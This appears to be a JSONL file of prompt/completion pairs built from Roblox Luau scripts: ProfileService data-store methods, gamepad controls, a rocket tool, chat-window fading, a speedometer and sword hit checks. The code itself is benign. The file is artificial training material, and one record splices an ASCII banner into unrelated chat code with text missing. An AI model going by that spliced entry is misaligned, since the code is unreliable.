nil\n\t\t\t\t\t\tend\n\t\t\t\t\t\trequest_force_load = false -- Only request a force load once\n\t\t\t\t\telseif aggressive_steal == true then\n\t\t\t\t\t\ttask.wait() -- Overload prevention\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal handler_result = not_released_handler(active_session[1], active_session[2])\n\t\t\t\t\t\tif handler_result == \"Repeat\" then\n\t\t\t\t\t\t\ttask.wait() -- Overload prevention\n\t\t\t\t\t\telseif handler_result == \"Cancel\" then\n\t\t\t\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\telseif handler_result == \"ForceLoad\" then\n\t\t\t\t\t\t\tforce_load = true\n\t\t\t\t\t\t\trequest_force_load = true\n\t\t\t\t\t\t\ttask.wait() -- Overload prevention\n\t\t\t\t\t\telseif handler_result == \"Steal\" then\n\t\t\t\t\t\t\taggressive_steal = true\n\t\t\t\t\t\t\ttask.wait() -- Overload prevention\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\terror(\n\t\t\t\t\t\t\t\t\"[ProfileService]: Invalid return from not_released_handler (\\\"\" .. tostring(handler_result) .. \"\\\")(\" .. type(handler_result) .. \");\" ..\n\t\t\t\t\t\t\t\t\t\"\\n\" .. IdentifyProfile(self._profile_store_name, self._profile_store_scope, profile_key) ..\n\t\t\t\t\t\t\t\t\t\" Traceback:\\n\" .. debug.traceback()\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\treturn nil -- In this scenario it is likely the ProfileService.ServiceLocked flag was raised\n\t\t\tend\n\t\telse\n\t\t\ttask.wait() -- Overload prevention\n\t\tend\n\tend\n\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\treturn nil -- If loop breaks return nothing\nend\n\nfunction ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler, _use_mock) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))\n\tif type(profile_key) ~= \"string\" or string.len(profile_key) == 0 then\n\t\terror(\"[ProfileService]: Invalid profile_key\")\n\tend\n\tif type(update_handler) ~= \"function\" then\n\t\terror(\"[ProfileService]: Invalid update_handler\")\n\tend\n\n\tif ProfileService.ServiceLocked == true then\n\t\treturn nil\n\tend\n\n\tWaitForPendingProfileStore(self)\n\n\twhile ProfileService.ServiceLocked == false do\n\t\t-- Updating profile:\n\t\tlocal loaded_data = StandardProfileUpdateAsyncDataStore(\n\t\t\tself,\n\t\t\tprofile_key,\n\t\t\t{\n\t\t\t\tExistingProfileHandle = nil,\n\t\t\t\tMissingProfileHandle = nil,\n\t\t\t\tEditProfile = function(latest_data)\n\t\t\t\t\t-- Running update_handler:\n\t\t\t\t\tlocal global_updates_object = {\n\t\t\t\t\t\t_updates_latest = latest_data.GlobalUpdates,\n\t\t\t\t\t\t_update_handler_mode = true,\n\t\t\t\t\t}\n\t\t\t\t\tsetmetatable(global_updates_object, GlobalUpdates)\n\t\t\t\t\tupdate_handler(global_updates_object)\n\t\t\t\tend,\n\t\t\t},\n\t\t\t_use_mock == UseMockTag\n\t\t)\n\t\tCustomWriteQueueMarkForCleanup(self._profile_store_lookup, profile_key)\n\t\t-- Handling loaded_data:\n\t\tif loaded_data ~= nil then\n\t\t\t-- Return GlobalUpdates object (Update successful):\n\t\t\tlocal global_updates_object = {\n\t\t\t\t_updates_latest = loaded_data.GlobalUpdates,\n\t\t\t}\n\t\t\tsetmetatable(global_updates_object, GlobalUpdates)\n\t\t\treturn global_updates_object\n\t\telse\n\t\t\ttask.wait() -- Overload prevention\n\t\tend\n\tend\n\treturn nil -- Return nothing (Update unsuccessful)\nend\n\nfunction ProfileStore:ViewProfileAsync(profile_key, version, _use_mock) --> [Profile / nil]\n\tif type(profile_key) ~= \"string\" or string.len(profile_key) == 0 then\n\t\terror(\"[ProfileService]: Invalid profile_key\")\n\tend\n\n\tif ProfileService.ServiceLocked == true then\n\t\treturn nil\n\tend\n\n\tWaitForPendingProfileStore(self)\n\n\tif version ~= nil and (_use_mock == UseMockTag or UseMockDataStore == true) then\n\t\treturn nil -- No version support in mock mode\n\tend\n\n\twhile ProfileService.ServiceLocked == false do\n\t\t-- Load profile:\n\t\tlocal loaded_data, key_info = StandardProfileUpdateAsyncDataStore(\n\t\t\tself,\n\t\t\tprofile_key,\n\t\t\t{\n\t\t\t\tExistingProfileHandle = nil,\n\t\t\t\tMissingProfileHandle = function(latest_data)\n\t\t\t\t\tlatest_data.Data = DeepCopyTable(self._profile_template)\n\t\t\t\t\tlatest_data.MetaData = {\n\t\t\t\t\t\tProfileCreateTime = os.time(),\n\t\t\t\t\t\tSessionLoadCount = 0,\n\t\t\t\t\t\tActiveSession = nil,\n\t\t\t\t\t\tForceLoadSession = nil,\n\t\t\t\t\t\tMetaTags = {},\n\t\t\t\t\t}\n\t\t\t\tend,\n\t\t\t\tEditProfile = nil,\n\t\t\t},\n\t\t\t_use_mock == UseMockTag,\n\t\t\ttrue, -- Use :GetAsync()\n\t\t\tversion -- DataStore key version\n\t\t)\n\t\tCustomWriteQueueMarkForCleanup(self._profile_store_lookup, profile_key)\n\t\t-- Handle load_data:\n\t\tif loaded_data ~= nil then\n\t\t\tif key_info == nil then\n\t\t\t\treturn nil -- Load was successful, but the key was empty - return no profile object\n\t\t\tend\n\t\t\t-- Create Profile object:\n\t\t\tlocal global_updates_object = {\n\t\t\t\t_updates_latest = loaded_data.GlobalUpdates, -- {0, {}}\n\t\t\t\t_profile = nil,\n\t\t\t}\n\t\t\tsetmetatable(global_updates_object, GlobalUpdates)\n\t\t\tlocal profile = {\n\t\t\t\tData = loaded_data.Data,\n\t\t\t\tMetaData = loaded_data.MetaData,\n\t\t\t\tMetaTagsUpdated = Madwork.NewScriptSignal(),\n\n\t\t\t\tRobloxMetaData = loaded_data.RobloxMetaData or {},\n\t\t\t\tUserIds = loaded_data.UserIds or {},\n\t\t\t\tKeyInfo = key_info,\n\t\t\t\tKeyInfoUpdated = Madwork.NewScriptSignal(),\n\n\t\t\t\tGlobalUpdates = global_updates_object,\n\n\t\t\t\t_profile_store = self,\n\t\t\t\t_profile_key = profile_key,\n\n\t\t\t\t_view_mode = true,\n\n\t\t\t\t_load_timestamp = os.clock(),\n\t\t\t}\n\t\t\tsetmetatable(profile, Profile)\n\t\t\tglobal_updates_object._profile = profile\n\t\t\t-- Returning Profile object:\n\t\t\treturn profile\n\t\telse\n\t\t\ttask.wait() -- Overload prevention\n\t\tend\n\tend\n\treturn nil -- If loop breaks return nothing\nend\n\nfunction ProfileStore:ProfileVersionQuery(profile_key, sort_direction, min_date, max_date, _use_mock) --> [ProfileVersionQuery]\n\tif type(profile_key) ~= \"string\" or string.len(profile_key) == 0 then\n\t\terror(\"[ProfileService]: Invalid profile_key\")\n\tend\n\n\tif ProfileService.ServiceLocked == true then\n\t\treturn setmetatable({}, ProfileVersionQuery) -- Silently fail :Next() requests\n\tend\n\n\tWaitForPendingProfileStore(self)\n\n\tif _use_mock == UseMockTag or UseMockDataStore == true then\n\t\terror(\"[ProfileService]: :ProfileVersionQuery() is not supported in mock mode\")\n\tend\n\n\t-- Type check:\n\tif sort_direction ~= nil and (typeof(sort_direction) ~= \"EnumItem\"\n\t\tor sort_direction.EnumType ~= Enum.SortDirection) then\n\t\terror(\"[ProfileService]: Invalid sort_direction (\" .. tostring(sort_direction) .. \")\")\n\tend\n\n\tif min_date ~= nil and typeof(min_date) ~= \"DateTime\" and typeof(min_date) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid min_date (\" .. tostring(min_date) .. \")\")\n\tend\n\n\tif max_date ~= nil and typeof(max_date) ~= \"DateTime\" and typeof(max_date) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid max_date (\" .. tostring(max_date) .. \")\")\n\tend\n\n\tmin_date = typeof(min_date) == \"DateTime\" and min_date.UnixTimestampMillis or min_date\n\tmax_date = typeof(max_date) == \"DateTime\" and max_date.UnixTimestampMillis or max_date\n\n\tlocal profile_version_query = {\n\t\t_profile_store = self,\n\t\t_profile_key = profile_key,\n\t\t_sort_direction = sort_direction,\n\t\t_min_date = min_date,\n\t\t_max_date = max_date,\n\n\t\t_query_pages = nil,\n\t\t_query_index = 0,\n\t\t_query_failure = false,\n\n\t\t_is_query_yielded = false,\n\t\t_query_queue = {},\n\t}\n\tsetmetatable(profile_version_query, ProfileVersionQuery)\n\n\treturn profile_version_query\n\nend\n\nfunction ProfileStore:WipeProfileAsync(profile_key, _use_mock) --> is_wipe_successful [bool]\n\tif type(profile_key) ~= \"string\" or string.len(profile_key) == 0 then\n\t\terror(\"[ProfileService]: Invalid profile_key\")\n\tend\n\n\tif ProfileService.ServiceLocked == true then\n\t\treturn false\n\tend\n\n\tWaitForPendingProfileStore(self)\n\n\tlocal wipe_status = false\n\n\tif _use_mock == UseMockTag then -- Used when the profile is accessed through ProfileStore.Mock\n\t\tlocal mock_data_store = UserMockDataStore[self._profile_store_lookup]\n\t\tif mock_data_store ~= nil then\n\t\t\tmock_data_store[profile_key] = nil\n\t\tend\n\t\twipe_status = true\n\t\ttask.wait() -- Simulate API call yield\n\telseif UseMockDataStore == true then -- Used when API access is disabled\n\t\tlocal mock_data_store = MockDataStore[self._profile_store_lookup]\n\t\tif mock_data_store ~= nil then\n\t\t\tmock_data_store[profile_key] = nil\n\t\tend\n\t\twipe_status = true\n\t\ttask.wait() -- Simulate API call yield\n\telse\n\t\twipe_status = pcall(function()\n\t\t\tself._global_data_store:RemoveAsync(profile_key)\n\t\tend)\n\tend\n\n\tCustomWriteQueueMarkForCleanup(self._profile_store_lookup, profile_key)\n\n\treturn wipe_status\nend\n"} +{"prompt": "-- // handle npcs", "completion": "\nfor _,character in pairs(Peds:GetChildren()) do\n\thandleImpact(character)\nend\nPeds.ChildAdded:Connect(handleImpact)\nPeds.ChildRemoved:Connect(handleImpact)\n"} +{"prompt": "--[[**\n\tensures Roblox DockWidgetPluginGuiInfo type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.DockWidgetPluginGuiInfo = primitive(\"DockWidgetPluginGuiInfo\")\n"} +{"prompt": "-- This function selects the lowest number gamepad from the currently-connected gamepad\n-- and sets it as the active gamepad", "completion": "\nfunction Gamepad:GetHighestPriorityGamepad()\n\tlocal connectedGamepads = UserInputService:GetConnectedGamepads()\n\tlocal bestGamepad = NONE -- Note that this value is higher than all valid gamepad values\n\tfor _, gamepad in pairs(connectedGamepads) do\n\t\tif gamepad.Value < bestGamepad.Value then\n\t\t\tbestGamepad = gamepad\n\t\tend\n\tend\n\treturn bestGamepad\nend\n\nfunction Gamepad:BindContextActions()\n\n\tif self.activeGamepad == NONE then\n\t\t-- There must be an active gamepad to set up bindings\n\t\treturn false\n\tend\n\n\tlocal handleJumpAction = function(actionName, inputState, inputObject)\n\t\tself.isJumping = (inputState == Enum.UserInputState.Begin)\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\n\tlocal handleThumbstickInput = function(actionName, inputState, inputObject)\n\n\t\tif inputState == Enum.UserInputState.Cancel then\n\t\t\tself.moveVector = ZERO_VECTOR3\n\t\t\treturn Enum.ContextActionResult.Sink\n\t\tend\n\n\t\tif self.activeGamepad ~= inputObject.UserInputType then\n\t\t\treturn Enum.ContextActionResult.Pass\n\t\tend\n\t\tif inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end\n\n\t\tif inputObject.Position.magnitude > thumbstickDeadzone then\n\t\t\tself.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)\n\t\telse\n\t\t\tself.moveVector = ZERO_VECTOR3\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\n\tContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)\n\tContextActionService:BindActionAtPriority(\"jumpAction\", handleJumpAction, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)\n\tContextActionService:BindActionAtPriority(\"moveThumbstick\", handleThumbstickInput, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)\n\n\treturn true\nend\n\nfunction Gamepad:UnbindContextActions()\n\tif self.activeGamepad ~= NONE then\n\t\tContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)\n\tend\n\tContextActionService:UnbindAction(\"moveThumbstick\")\n\tContextActionService:UnbindAction(\"jumpAction\")\nend\n\nfunction Gamepad:OnNewGamepadConnected()\n\t-- A new gamepad has been connected.\n\tlocal bestGamepad = self:GetHighestPriorityGamepad()\n\n\tif bestGamepad == self.activeGamepad then\n\t\t-- A new gamepad was connected, but our active gamepad is not changing\n\t\treturn\n\tend\n\n\tif bestGamepad == NONE then\n\t\t-- There should be an active gamepad when GamepadConnected fires, so this should not\n\t\t-- normally be hit. If there is no active gamepad, unbind actions but leave\n\t\t-- the module enabled and continue to listen for a new gamepad connection.\n\t\twarn(\"Gamepad:OnNewGamepadConnected found no connected gamepads\")\n\t\tself:UnbindContextActions()\n\t\treturn\n\tend\n\n\tif self.activeGamepad ~= NONE then\n\t\t-- Switching from one active gamepad to another\n\t\tself:UnbindContextActions()\n\tend\n\n\tself.activeGamepad = bestGamepad\n\tself:BindContextActions()\nend\n\nfunction Gamepad:OnCurrentGamepadDisconnected()\n\tif self.activeGamepad ~= NONE then\n\t\tContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)\n\tend\n\n\tlocal bestGamepad = self:GetHighestPriorityGamepad()\n\n\tif self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then\n\t\twarn(\"Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.\")\n\t\tself:UnbindContextActions()\n\t\tself.activeGamepad = NONE\n\t\treturn\n\tend\n\n\tif bestGamepad == NONE then\n\t\t-- No active gamepad, unbinding actions but leaving gamepad connection listener active\n\t\tself:UnbindContextActions()\n\t\tself.activeGamepad = NONE\n\telse\n\t\t-- Set new gamepad as active and bind to tool activation\n\t\tself.activeGamepad = bestGamepad\n\t\tContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)\n\tend\nend\n\nfunction Gamepad:ConnectGamepadConnectionListeners()\n\tself.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum)\n\t\tself:OnNewGamepadConnected()\n\tend)\n\n\tself.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum)\n\t\tif self.activeGamepad == gamepadEnum then\n\t\t\tself:OnCurrentGamepadDisconnected()\n\t\tend\n\tend)\n\nend\n\nfunction Gamepad:DisconnectGamepadConnectionListeners()\n\tif self.gamepadConnectedConn then\n\t\tself.gamepadConnectedConn:Disconnect()\n\t\tself.gamepadConnectedConn = nil\n\tend\n\n\tif self.gamepadDisconnectedConn then\n\t\tself.gamepadDisconnectedConn:Disconnect()\n\t\tself.gamepadDisconnectedConn = nil\n\tend\nend\n\nreturn Gamepad\n"} +{"prompt": "\nRocket.CanCollide = false", "completion": "\n\n\n\nTool.Note:clone().Parent = Rocket\n\nTool.RocketScript:clone().Parent = Rocket\n\n--Tool.Explosion:clone().Parent = Rocket\n\n--Tool.Swoosh:clone().Parent = Rocket\n\n\n\n\n\nfunction fire(vTarget)\n\n\n\n\tlocal vCharacter = Tool.Parent;\n\n\t\n\n\tlocal vHandle = Tool:findFirstChild(\"Handle\")\n\n\tif vHandle == nil then\n\n\t\tprint(\"Handle not found\")\n\n\t\treturn \n\n\tend\n\n\n\n\tlocal chord = Tool.Ichord:clone()\n\n\n\n\tif (Tool.mode.Value==1) then\n\n\t\tchord = Tool.Ichord:clone()\n\n\telseif (Tool.mode.Value==2) then\n\n\t\tchord = Tool.IVIIchord:clone()\n\n\telseif (Tool.mode.Value==3) then\n\n\t\tchord = Tool.Vchord:clone()\n\n\telseif (Tool.mode.Value==4) then\n\n\t\tchord = Tool.VVIIchord:clone()\n\n\telseif (Tool.mode.Value==5) then\n\n\t\tchord = Tool.IVchord:clone()\n\n\telseif (Tool.mode.Value==6) then\n\n\t\tchord = Tool.IIIchord:clone()\n\n\tend\n\n\t\n\n\tchord.Name = \"chord\"\n\n\n\n\tlocal dir = Vector3.new(math.random()-.5, 1, math.random() - .5).unit\n\n\n\n\tlocal missile = Rocket:clone()\n\n\n\n\tchord.Parent = missile\n\n\n\n\tlocal pos = vHandle.Position + Vector3.new(0, 5 ,0)\n\n\t\n\n\t--missile.Position = pos\n\n\tmissile.CFrame = CFrame.new(pos, pos + dir)\n\n\tmissile.BodyVelocity.velocity = dir * 30\n\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\n\n\n\tif vPlayer == nil then\n\n\t\tprint(\"Player not found\")\n\n\tend\n\t\n\n\tmissile.RocketScript.Disabled = false\n\n\n\tmissile.Parent = game.Workspace\n\nend\n\n\n\nTool.Enabled = true\n\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\n\t\treturn\n\n\tend\n\n\n\n\tTool.Enabled = false\n\n\n\n\tlocal character = Tool.Parent;\n\n\tlocal humanoid = character.Humanoid\n\n\tif humanoid == nil then\n\n\t\tprint(\"Humanoid not found\")\n\n\t\treturn \n\n\tend\n\n\n\n\tlocal targetPos = humanoid.TargetPoint\n\n\n\n\tfire(targetPos)\n\n\n\n\tTool.Enabled = true\n\nend\n\n\n\n\n\nscript.Parent.Activated:connect(onActivated)\n\n\n\n"} +{"prompt": "-- Scene's workspace assets", "completion": "\nlocal Environment = nil\nlocal ServerEnvironment = nil\nlocal FirstNeonParts = nil\nlocal SecondNeonParts = nil\n\nlocal function enableBouncyPads()\n\tfor _, part in pairs(CollectionService:GetTagged(\"Bouncy\")) do\n\t\tBouncePlatforms.new(part, {\n\t\t\tdebounce = 0.2,\n\t\t\tbounceVector = Vector3.new(0, 1, 0),\n\t\t\tbounceForce = 150,\n\t\t})\n\tend\n\tBouncePlatforms:enable()\nend\n\nlocal function teleportPlayerToSkydive()\n\tlocal character = player.Character\n\tif character and character.Parent then\n\t\tlocal primaryPart = character.PrimaryPart\n\t\tif primaryPart then\n\t\t\tlocal rng = Random.new()\n\t\t\tprimaryPart.CFrame = CFrame.new(rng:NextInteger(-25, 25), 400.369, rng:NextInteger(-25, 25))\n\t\tend\n\tend\nend\n"} +{"prompt": "--Frosty--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Frostbite:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--helpfully checks a table for a specific value", "completion": "\nfunction contains(t, v)\n\tfor _, val in pairs(t) do\n\t\tif val == v then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "--SKP_7:SetStateEnabled(Enum.HumanoidStateType.Dead, false)", "completion": "\n\n\n\nSKP_7.Changed:Connect(function(Health)\n\nif SKP_7.Health < SKP_20 then\n\nlocal Hurt = ((SKP_7.Health/SKP_20) - 1) * -1\n\nlocal SKP_22 = script.FX.Blur:clone()\nSKP_22.Parent = game.Workspace.CurrentCamera\n\nlocal SKP_23 = script.FX.ColorCorrection:clone()\nSKP_23.Parent = game.Workspace.CurrentCamera\n\t\t\nSKP_22.Size \t\t= ((SKP_7.Health/SKP_20) - 1) * -50"} +{"prompt": "--// You can use modules like this to alter guis without making a new theme\n--// This makes it so you don't need to make an entire gui folder n all that\n--// If the theme is set to this module, it will use the default guis\n--// The default requested gui will be passed to and modified by this module\n--// before it runs. This lets you change things in anyway you want without\n--// needing to change the guis by hand or their code.\n--// This is also generally safer and update proof.\n--// Alternatively if this returns anything, it will be assumed\n--// that this module created and registered it's own screenguis\n--// It will assume that any return is from those guis\n--// For instance the YesNoPrompt returns Yes or No depending on\n--// what button the player presses.\n--// Any non-nil return will be returned by the script\n--// IF YOU MAKE YOUR OWN SCREENGUIS IT IS UP TO YOU TO REGISTER THEM!\n--// If you plan to make your own guis you must return something from this module\n--// and you must register them using client.UI.Register(ScreenGuiObjectHere)\n--// Register will return gTable and gIndex, when destroying your gui\n--// use gTable:Destroy(); If your gui needs to be removed in a special way\n--// you can define a custom destroy function by doing\n--// gTable.CustomDestroy = function() doStuffHere end", "completion": "\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nscript.Parent:WaitForChild(\"Gear\")\nscript.Parent:WaitForChild(\"Speed\")\nscript.Parent:WaitForChild(\"Needle\")\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\n\nscript.Parent.Parent.Parent.Values.Gear.Changed:connect(function()\n\tlocal gearText = script.Parent.Parent.Parent.Values.Gear.Value\n\tif gearText == 0 then gearText = \"N\"\n\telseif gearText == -1 then gearText = \"R\"\n\tend\n\tscript.Parent.Gear.Text = gearText\nend)\n\nscript.Parent.Parent.Parent.Values.RPM.Changed:connect(function()\n\tscript.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))\nend)\n\nscript.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)\n\tscript.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)\nend)\n\nscript.Parent.Speed.MouseButton1Click:connect(function()\n\tif currentUnits==#UNITS then\n\t\tcurrentUnits = 1\n\telse\n\t\tcurrentUnits = currentUnits+1\n\tend\n\tscript.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tscript.Parent.Unit.Text = UNITS[currentUnits].units\nend)\n\nwait(.1)\n"} +{"prompt": "--!strict", "completion": "\nlocal events = {\n\tstarted = Instance.new(\"BindableEvent\"),\n\tfinished = Instance.new(\"BindableEvent\"),\n}\n\nreturn events\n"} +{"prompt": "--local welcomeConsoleGlow = workspace.Level_Geo.Lobby.UI_HoloEmitter.SurfaceLight", "completion": "\nlocal welcomeUIPointLight = workspace.UI.WelcomeUIFrame.PointLight\n"} +{"prompt": "--[[\n\t ___ _______ _ _______\n\t / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/\n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- ChatSettings.ChatWindowBackgroundFadeOutTime) then\n\t\t\t\tDoBackgroundFadeOut()\n\t\t\tend\n\n\t\telseif (not textIsFaded) then\n\t\t\tlocal timeDiff = tick() - lastTextFadeTime\n\t\t\tif (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then\n\t\t\t\tDoTextFadeOut()\n\t\t\tend\n\n\t\telse\n\t\t\tfadedChanged.Event:wait()\n\n\t\tend\n\n\tend\nend)\n\nfunction getClassicChatEnabled()\n\tif ChatSettings.ClassicChatEnabled ~= nil then\n\t\treturn ChatSettings.ClassicChatEnabled\n\tend\n\treturn Players.ClassicChat\nend\n\nfunction getBubbleChatEnabled()\n\tif ChatSettings.BubbleChatEnabled ~= nil then\n\t\treturn ChatSettings.BubbleChatEnabled\n\tend\n\treturn Players.BubbleChat\nend\n\nfunction bubbleChatOnly()\n \treturn not getClassicChatEnabled() and getBubbleChatEnabled()\nend\n\nfunction UpdateMousePosition(mousePos)\n\tif not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end\n\n\tif bubbleChatOnly() then\n\t\treturn\n\tend\n\n\tlocal windowPos = ChatWindow.GuiObject.AbsolutePosition\n\tlocal windowSize = ChatWindow.GuiObject.AbsoluteSize\n\n\tlocal newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize)\n\tif (newMouseState ~= mouseIsInWindow) then\n\t\tUpdateFadingForMouseState(newMouseState)\n\tend\nend\n\nUserInputService.InputChanged:connect(function(inputObject)\n\tif (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then\n\t\tlocal mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)\n\t\tUpdateMousePosition(mousePos)\n\tend\nend)\n\nUserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent)\n\tUpdateMousePosition(tapPos[1])\nend)\n\nUserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent)\n\tlocal tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)\n\tUpdateMousePosition(tapPos)\nend)\n\nUserInputService.Changed:connect(function(prop)\n\tif prop == \"MouseBehavior\" then\n\t\tif UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then\n\t\t\tlocal windowPos = ChatWindow.GuiObject.AbsolutePosition\n\t\t\tlocal windowSize = ChatWindow.GuiObject.AbsoluteSize\n\t\t\tlocal screenSize = GuiParent.AbsoluteSize\n\n\t\t\tlocal centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize)\n\t\t\tif centerScreenIsInWindow then\n\t\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- How many times per second the gun can fire", "completion": "\nlocal FireRate = 1 / 6"} +{"prompt": "-- constants", "completion": "\n\nlocal REMOTES\t= ReplicatedStorage.Remotes\n"} +{"prompt": "-- Luke", "completion": "\n\n\nlocal button = script.Parent\nlocal players = game:GetService('Players')\n\nlocal DEBOUNCE_TIME = 5\nlocal debounce = false\n\n\nbutton.Touched:connect(function(hit)\n\tif hit and hit.Parent then\n\t\tlocal humanoid = hit.Parent:FindFirstChild('Humanoid')\n\t\tlocal hrp = hit.Parent:FindFirstChild('HumanoidRootPart')\n\t\tif hrp and humanoid and humanoid.Health > 0 then\n\t\t\tlocal player = players:GetPlayerFromCharacter(hit.Parent)\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\t\n\t\t\t\tlocal nearestAccessory = nil\n\t\t\t\tlocal nearestDistance = nil\n\t\t\t\tfor _,accessory in pairs(workspace:GetChildren()) do\n\t\t\t\t\tif accessory:IsA('Accessory') then\n\t\t\t\t\t\tlocal handle = accessory:FindFirstChild('Handle')\n\t\t\t\t\t\tif handle then\n\t\t\t\t\t\t\tlocal distance = (handle.Position-button.Position).magnitude\n\t\t\t\t\t\t\tif not nearestDistance or distance < nearestDistance then\n\t\t\t\t\t\t\t\tnearestDistance = distance\n\t\t\t\t\t\t\t\tnearestAccessory = accessory\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif nearestAccessory then\n\t\t\t\t\tlocal accessory = nearestAccessory:clone()\n\t\t\t\t\taccessory.Parent = hit.Parent\n\t\t\t\tend\n\n\t\t\t\twait(DEBOUNCE_TIME)\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend\n\tend\nend)\n\n\n\n\n"} +{"prompt": "--\tlocal now = os.time()\n--\tif now - lastMoan > 5 then\t\n--\t\tif math.random() > .3 then\n--\t\t\tzombie.Moan:Play()\n----\t\t\tprint(\"playing moan\")\n--\t\t\tlastMoan = now\n--\t\tend", "completion": "\n\t--\tend\n\tzombie.Humanoid:MoveTo(workspace.NPC.PrimaryPart.Position)\n\twait(2)\nend\n\n"} +{"prompt": "--[[local function VisualizeRay(ray,RayLength)\n\tlocal RayCast = Instance.new(\"Part\")\n\tRayCast.Material = Enum.Material.Neon\n\tRayCast.Color = Color3.new(0,1,0)\n\tRayCast.Size = Vector3.new(0.2,0.2,(RayLength or 5))\n\tRayCast.CFrame = CFrame.new(ray.Origin, ray.Origin+ray.Direction) * CFrame.new(0, 0, -(RayLength or 5) / 2)\n\tRayCast.Anchored = true\n\tRayCast.CanCollide = false\n\tRayCast.Parent = workspace\n\tDebris:AddItem(RayCast,0.5)\nend]]", "completion": "\n\nfunction IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(GetChildren(humanoid)) do\n\t\tif IsA(v,\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tDestroy(v)\n\t\tend\n\tend\nend\n\nlocal Player, Character, Humanoid\n\nlocal Seed = Random.new(tick())\n\nlocal Hit_WhiteList = {}\nfunction Touched(hit)\n\t\n\tif not hit or not hit.Parent then return end\n\t\n\tHit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag)\n\t\n\t--Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits)\n\t\n\tlocal DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 